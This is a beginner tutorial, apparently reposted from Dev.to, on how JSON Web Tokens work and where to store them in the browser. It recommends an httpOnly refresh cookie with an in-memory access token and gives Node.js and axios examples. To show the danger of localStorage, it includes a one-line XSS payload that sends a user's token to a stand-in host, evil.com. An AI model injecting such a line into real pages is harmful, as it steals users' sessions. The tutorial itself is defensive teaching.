Fetching latest headlines…
JWT for Beginners, Plus Where to Store It Safely
NORTH AMERICA
🇺🇸 United StatesMay 7, 2026

JWT for Beginners, Plus Where to Store It Safely

0 views0 likes0 comments
Originally published byDev.to

If you have ever built a login page, you have probably heard of JWT. People throw the word around like everyone knows what it means. This post explains it from zero, with examples you can read and follow, and ends with the safest way to store one in the browser.

No prior knowledge needed. Just basic web stuff: HTML, JavaScript, and the idea that a server sends responses to a browser.

The Problem We Had Before JWT

Imagine you build a website with a login form. The user types email and password, your server checks them, and the user is now logged in.

Here is the question: when that user clicks on a different page one second later, how does your server know it is still the same logged-in user?

HTTP is "stateless". Every request is brand new. The server has no memory of who you are. So we need a way to say "trust me, I logged in a moment ago".

The Old Way: Sessions

The classic answer is sessions. It works like this:

  1. User logs in with email and password.
  2. Server creates a random ID like abc123xyz and saves it in a database, with a note: "this ID belongs to user 42".
  3. Server sends that ID back to the browser as a cookie.
  4. Every future request, the browser sends the cookie automatically.
  5. Server reads the ID, looks it up in the database, and finds "oh, this is user 42".

This works fine, but it has a cost. Every single request hits the database just to check who the user is. If you have one server, fine. If you have ten servers behind a load balancer, they all need to share that session storage. It gets messy at scale.

Enter JWT

JWT stands for JSON Web Token. The idea is simple and clever:

What if the token itself contained the user info, and the server could trust it without looking anything up?

A JWT is a string that looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQyLCJlbWFpbCI6ImFAYi5jb20ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Looks like garbage, but it has three parts separated by dots:

HEADER.PAYLOAD.SIGNATURE

If you base64-decode the first two parts, you get readable JSON.

Header says what algorithm was used:

{ "alg": "HS256", "typ": "JWT" }

Payload is the actual data (called "claims"):

{ "userId": 42, "email": "[email protected]", "exp": 1735689600 }

Signature is a cryptographic stamp. The server made it using a secret key only the server knows. If anyone changes the payload (like flipping userId to 1 to impersonate the admin), the signature will not match anymore, and the server will reject it.

So the magic is: the token carries the user info AND a tamper-proof seal. The server does not need a database lookup. It just verifies the signature with its secret key, and if it checks out, it trusts the payload.

Why JWT Was Invented

Three reasons:

  1. No database lookup on every request. Faster.
  2. Stateless servers. Any server in your cluster can verify the token without sharing storage.
  3. Works across services. A single JWT can be accepted by your main API, your image service, your billing service, all without sharing a session database.

A Quick Comparison

Without JWT (sessions):

Browser  ->  "Hi, here is my session ID abc123"
Server   ->  (queries database) "Yep, that is user 42"
Server   ->  sends response

With JWT:

Browser  ->  "Hi, here is my JWT"
Server   ->  (verifies signature with secret key, no database) "Yep, payload says user 42"
Server   ->  sends response

How JWT Works in Practice

Here is the typical flow:

Login request:

// Frontend
const res = await fetch('/api/login', {
  method: 'POST',
  body: JSON.stringify({ email, password }),
})
const { token } = await res.json()
// token is the JWT string

Server side (Node.js example):

import jwt from 'jsonwebtoken'

app.post('/api/login', async (req, res) => {
  const user = await checkPassword(req.body.email, req.body.password)
  if (!user) return res.status(401).send('Wrong password')

  const token = jwt.sign(
    { userId: user.id, email: user.email },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }
  )

  res.json({ token })
})

Using the token on every future request:

const res = await fetch('/api/profile', {
  headers: { Authorization: `Bearer ${token}` },
})

Server checks the token:

app.get('/api/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1]
  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET)
    // payload.userId is now trusted
    res.json({ userId: payload.userId })
  } catch {
    res.status(401).send('Invalid token')
  }
})

That is the whole concept. Now the hard question: where do you keep that token in the browser?

The Storage Question

The browser is going to need that token on every request. So you have to put it somewhere. Your options are:

  1. localStorage
  2. sessionStorage
  3. A regular cookie
  4. An httpOnly cookie
  5. A JavaScript variable in memory

Most tutorials show option 1 because it is the easiest. Most tutorials are also wrong about this.

Why localStorage Is Dangerous

localStorage is just a key-value store that any JavaScript on the page can read.

// On login
localStorage.setItem('token', jwt)

// On every request
const token = localStorage.getItem('token')

Easy. So what is the problem?

The problem is XSS (cross-site scripting). If an attacker can sneak ANY JavaScript onto your page (through a comment field that you forgot to sanitize, a vulnerable npm package, a compromised analytics script), they can do this:

// Attacker's injected code
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))

And your user's token is gone. The attacker can now impersonate them until that token expires.

It does not matter how short you make the token. It does not matter how strong your password rules are. One XSS bug, one compromised dependency, and every logged-in user is exposed.

The Safer Pattern

The pattern most security people recommend has two parts:

1. Refresh token in an httpOnly cookie.

An httpOnly cookie is a cookie that JavaScript cannot read. The browser still sends it automatically with every request, but document.cookie will not show it, and fetch('evil.com?t=' + ...) cannot grab it.

The server sets it like this:

res.cookie('refreshToken', refreshToken, {
  httpOnly: true,    // JavaScript cannot read this cookie
  secure: true,      // only send over HTTPS
  sameSite: 'strict' // do not send on cross-site requests (blocks CSRF)
})

This refresh token lives a long time (days or weeks). Its only job is to get new short-lived access tokens.

2. Access token in a regular JavaScript variable.

The access token is what you actually attach to API requests. It lives only in memory, in a normal variable, NOT in localStorage or any cookie.

let accessToken = null

export function setAccessToken(token) {
  accessToken = token
}

export function getAccessToken() {
  return accessToken
}

Yes, this means when the user reloads the page, the variable is wiped and the access token is gone. That is a feature, not a bug. It also means there is nothing for an XSS attack to steal long-term.

3. On page reload, refresh the access token.

When the page loads, you call a refresh endpoint. The browser automatically sends the httpOnly refresh cookie. The server reads it, verifies it, and gives you back a fresh access token.

// Runs on app startup
async function bootstrap() {
  try {
    const res = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include', // sends the httpOnly cookie
    })
    const { accessToken } = await res.json()
    setAccessToken(accessToken)
  } catch {
    // Not logged in, redirect to login
  }
}

Putting It All Together

Here is what a real login flow looks like with this pattern.

Login (server):

app.post('/api/login', async (req, res) => {
  const user = await checkPassword(req.body.email, req.body.password)
  if (!user) return res.status(401).send('Wrong password')

  const accessToken = jwt.sign(
    { userId: user.id },
    process.env.ACCESS_SECRET,
    { expiresIn: '15m' }
  )

  const refreshToken = jwt.sign(
    { userId: user.id },
    process.env.REFRESH_SECRET,
    { expiresIn: '7d' }
  )

  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/api/auth',
  })

  res.json({ accessToken })
})

Refresh endpoint (server):

app.post('/api/auth/refresh', (req, res) => {
  const token = req.cookies.refreshToken
  if (!token) return res.status(401).send('No refresh token')

  try {
    const payload = jwt.verify(token, process.env.REFRESH_SECRET)
    const accessToken = jwt.sign(
      { userId: payload.userId },
      process.env.ACCESS_SECRET,
      { expiresIn: '15m' }
    )
    res.json({ accessToken })
  } catch {
    res.status(401).send('Invalid refresh token')
  }
})

Frontend axios setup:

import axios from 'axios'

const api = axios.create({
  baseURL: '/api',
  withCredentials: true, // important: sends cookies
})

let accessToken = null

export function setAccessToken(token) {
  accessToken = token
  api.defaults.headers.common['Authorization'] = `Bearer ${token}`
}

// If a request fails with 401, try refreshing once
api.interceptors.response.use(null, async (error) => {
  const original = error.config
  if (error.response?.status === 401 && !original._retry) {
    original._retry = true
    try {
      const { data } = await api.post('/auth/refresh')
      setAccessToken(data.accessToken)
      return api(original) // retry the original request
    } catch {
      window.location.href = '/login'
    }
  }
  return Promise.reject(error)
})

export default api

Side by Side

Where you put the token Can XSS steal it? CSRF risk? Survives reload?
localStorage Yes No Yes
Regular cookie Yes (via document.cookie) Yes Yes
httpOnly cookie No Yes (mitigated by SameSite) Yes
In-memory variable No (no persistence to steal) No No (refresh handles this)

The combination of httpOnly cookie for refresh + in-memory variable for access gives you the best of all worlds.

Common Questions

Q: Why two tokens? Is one not enough?

You could use one. But then you have to choose: short life means the user gets logged out constantly, long life means a stolen token works for weeks. Two tokens let you have a short-lived access token (limits damage if leaked) and a long-lived refresh token (kept somewhere JavaScript cannot touch).

Q: Can the server "log someone out" with JWT?

Not directly, because JWTs are stateless. The token is valid until it expires. This is why short access tokens matter. For the refresh token, the server CAN keep a list of revoked refresh tokens in a database. So real-world systems are usually a hybrid: stateless for the fast path, stateful for the rare logout.

Q: Is the JWT payload encrypted?

No. It is just base64-encoded, which means anyone can read it. Never put secrets in the payload. The signature only proves it was not changed, not that it is hidden.

Q: What about SameSite=Lax versus Strict?

Strict means the cookie is never sent on requests from another site. Safer, but it means if someone clicks a link to your site from Google, they will not appear logged in. Lax allows top-level navigation, which is usually fine. Pick Strict for sensitive apps, Lax for general use.

TL;DR

  • JWT is a self-contained token that proves who you are without a database lookup. It works because the server signs it with a secret only the server knows.
  • It was invented to make authentication faster, stateless, and easy to share between services.
  • Storing JWTs in localStorage is convenient but dangerous. One XSS bug and every token is stolen.
  • The safer pattern: keep a long-lived refresh token in an httpOnly cookie, and a short-lived access token in a JavaScript variable. On page reload, hit a refresh endpoint to get a new access token.
  • Always set Secure, httpOnly, and SameSite on auth cookies.

That is the whole story. The pattern feels like more code at first, but it is the difference between "we got hacked" and "we did not".

Comments (0)

Sign in to join the discussion

Be the first to comment!